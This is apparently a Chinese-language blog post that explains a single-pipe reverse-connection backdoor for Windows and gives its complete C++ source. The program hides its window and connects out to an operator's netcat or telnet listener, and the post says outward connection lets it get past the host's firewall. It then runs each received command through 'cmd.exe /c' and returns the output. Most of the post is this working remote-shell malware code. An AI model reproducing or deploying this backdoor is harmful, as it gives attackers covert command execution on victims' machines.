原理简述
单管道后门相对于双管道后门(参照前面发的Blog),很明显单管道后门使用了“cmd.exe /c [命令]”的用法在进行cmd进程创建时就顺带执行了命令,所以省去了由socket发往cmd的管道。同时笔者为样例程序加上了反向连接的模块,反向连接由宿主机作为client端,操纵者的nc或telnet等作为server端,与前面发的正向连接原理相反,反向连接由宿主机发出连接,可以有效绕过宿主机针对外来连接的防火墙。
-
单管道原理图例
单管道原理图例
C++代码样例
/*
*@Author: PeterZ1997
*@Time: 2018/03/03
*@Function: 单管道反向连接后门(Default_Port: 4900)
*/
#include <iostream>
#include <cstdio>
#include <cstdlib>
#include <cstring>
#include <Windows.h>
#include <winsock.h>
using namespace std;
#pragma comment(lib,"ws2_32")
HANDLE g_hinputPipe, g_houtputPipe;
HANDLE g_hThread;
DWORD g_dwThreadId;
const unsigned short PORT = 4900;
const char * REMOTE_ADDR = "127.0.0.1";
const unsigned int MAXSTR = 255;
//收发信息
bool sendData(SOCKET sSock, char *cmdline, const char* sockData)
{
ZeroMemory(cmdline, MAXSTR);
SECURITY_ATTRIBUTES sa;
sa.nLength = sizeof(SECURITY_ATTRIBUTES);
sa.lpSecurityDescriptor = NULL;
sa.bInheritHandle = TRUE;
while (!CreatePipe(&g_houtputPipe, &g_hinputPipe, &sa, 0))
{
Sleep(1000);
}
Sleep(200);
STARTUPINFO si;
PROCESS_INFORMATION pi;
GetStartupInfo(&si);
si.hStdError = g_hinputPipe;
si.hStdOutput = g_hinputPipe;
si.wShowWindow = SW_HIDE;
si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
GetSystemDirectory(cmdline, MAXSTR);
strcat_s(cmdline, MAXSTR, "\\cmd.exe /c ");
strcat_s(cmdline, MAXSTR, sockData);
while (!CreateProcess(NULL, cmdline, NULL, NULL, TRUE, NULL, NULL, NULL, &si, &pi))
{
Sleep(1000);
}
WaitForSingleObject(pi.hProcess, 10000);
return true;
}
//被控端管道信息回传监控
DWORD WINAPI WatchData(LPVOID lprarm)
{
unsigned int g_Ret = 0;
DWORD dwTotalAvail = 0;
DWORD realReadLen = 0;
char readBuffer[4096] = "\0";
SOCKET sSock = (SOCKET)lprarm;
while (true)
{
g_Ret = PeekNamedPipe(g_houtputPipe, NULL, 0, NULL, &dwTotalAvail, NULL);
if (g_Ret && dwTotalAvail > 0)
{
Sleep(300);
g_Ret = ReadFile(g_houtputPipe, readBuffer, 4096, &realReadLen, NULL);
if (g_Ret && realReadLen > 0)
{
Sleep(200);
strcat_s(readBuffer, 4096, "\r\n(Command)>");
send(sSock, readBuffer, strlen(readBuffer), 0);
ZeroMemory(readBuffer, 4096);
}
}
}
return 0;
}
//主函数
int WINAPI WinMain(_In_ HINSTANCE hInstance, _In_opt_ HINSTANCE hPrevInstance, _In_ LPSTR lpCmdLine, _In_ int nShowCmd)
{
char sendError[30] = "[*] Send Error !\r\n\r\n";
const char * welRow = "=====> Hello,Guy ~ <=====\n\n(Command)>";
char cmdline[MAXSTR] = "\0";
char sockData[MAXSTR] = "\0";
int sockDataLen = 0;
SOCKET sSock;
sockaddr_in sockAddr;
WSADATA wsd;
if (WSAStartup(MAKEWORD(2, 2), &wsd)) return 0;
if ((sSock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == INVALID_SOCKET) return 0;
sockAddr.sin_addr.S_un.S_addr = inet_addr(REMOTE_ADDR);
sockAddr.sin_family = AF_INET;
sockAddr.sin_port = htons(PORT);
while (connect(sSock, (sockaddr*)&sockAddr, sizeof(sockAddr)) == SOCKET_ERROR)
{
Sleep(2000);
continue;
}
send(sSock, welRow, strlen(welRow), 0);
g_hThread = CreateThread(NULL, 0, WatchData, LPVOID(sSock), 0, &g_dwThreadId);
while (true)
{
while ((sockDataLen = recv(sSock, sockData, MAXSTR, 0)) == SOCKET_ERROR)
{
Sleep(1000);
}
if (!sendData(sSock, cmdline, sockData))
{
send(sSock, sendError, strlen(sendError), 0);
}
ZeroMemory(sockData, MAXSTR);
}
WaitForSingleObject(g_hThread, INFINITE);
CloseHandle(g_hinputPipe);
CloseHandle(g_houtputPipe);
closesocket(sSock);
WSACleanup();
ExitProcess(0);
return 0;
}